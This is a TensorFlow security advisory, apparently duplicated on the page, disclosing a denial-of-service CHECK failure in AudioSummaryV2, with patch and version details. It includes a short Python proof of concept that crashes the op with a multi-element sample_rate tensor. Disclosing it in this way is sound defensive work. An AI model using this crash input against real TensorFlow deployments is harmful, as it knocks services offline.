Headline
GHSA-g9h5-vr8m-x2h4: TensorFlow vulnerable to `CHECK` fail in `AudioSummaryV2`
Impact
When AudioSummaryV2
receives an input sample_rate
with more than one element, it gives a CHECK
fails that can be used to trigger a denial of service attack.
import tensorflow as tf
arg_0=''
arg_1=tf.random.uniform(shape=(1,1), dtype=tf.float32, maxval=None)
arg_2=tf.random.uniform(shape=(2,1), dtype=tf.float32, maxval=None)
arg_3=3
arg_4=''
tf.raw_ops.AudioSummaryV2(tag=arg_0, tensor=arg_1, sample_rate=arg_2,
max_outputs=arg_3, name=arg_4)
Patches
We have patched the issue in GitHub commit bf6b45244992e2ee543c258e519489659c99fb7f.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by 刘力源, Information System & Security and Countermeasures Experiments Center, Beijing Institute of Technology.
Impact
When AudioSummaryV2 receives an input sample_rate with more than one element, it gives a CHECK fails that can be used to trigger a denial of service attack.
import tensorflow as tf arg_0=’’ arg_1=tf.random.uniform(shape=(1,1), dtype=tf.float32, maxval=None) arg_2=tf.random.uniform(shape=(2,1), dtype=tf.float32, maxval=None) arg_3=3 arg_4=’’ tf.raw_ops.AudioSummaryV2(tag=arg_0, tensor=arg_1, sample_rate=arg_2, max_outputs=arg_3, name=arg_4)
Patches
We have patched the issue in GitHub commit bf6b45244992e2ee543c258e519489659c99fb7f.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by 刘力源, Information System & Security and Countermeasures Experiments Center, Beijing Institute of Technology.
References
- GHSA-g9h5-vr8m-x2h4
- tensorflow/tensorflow@bf6b452
- https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0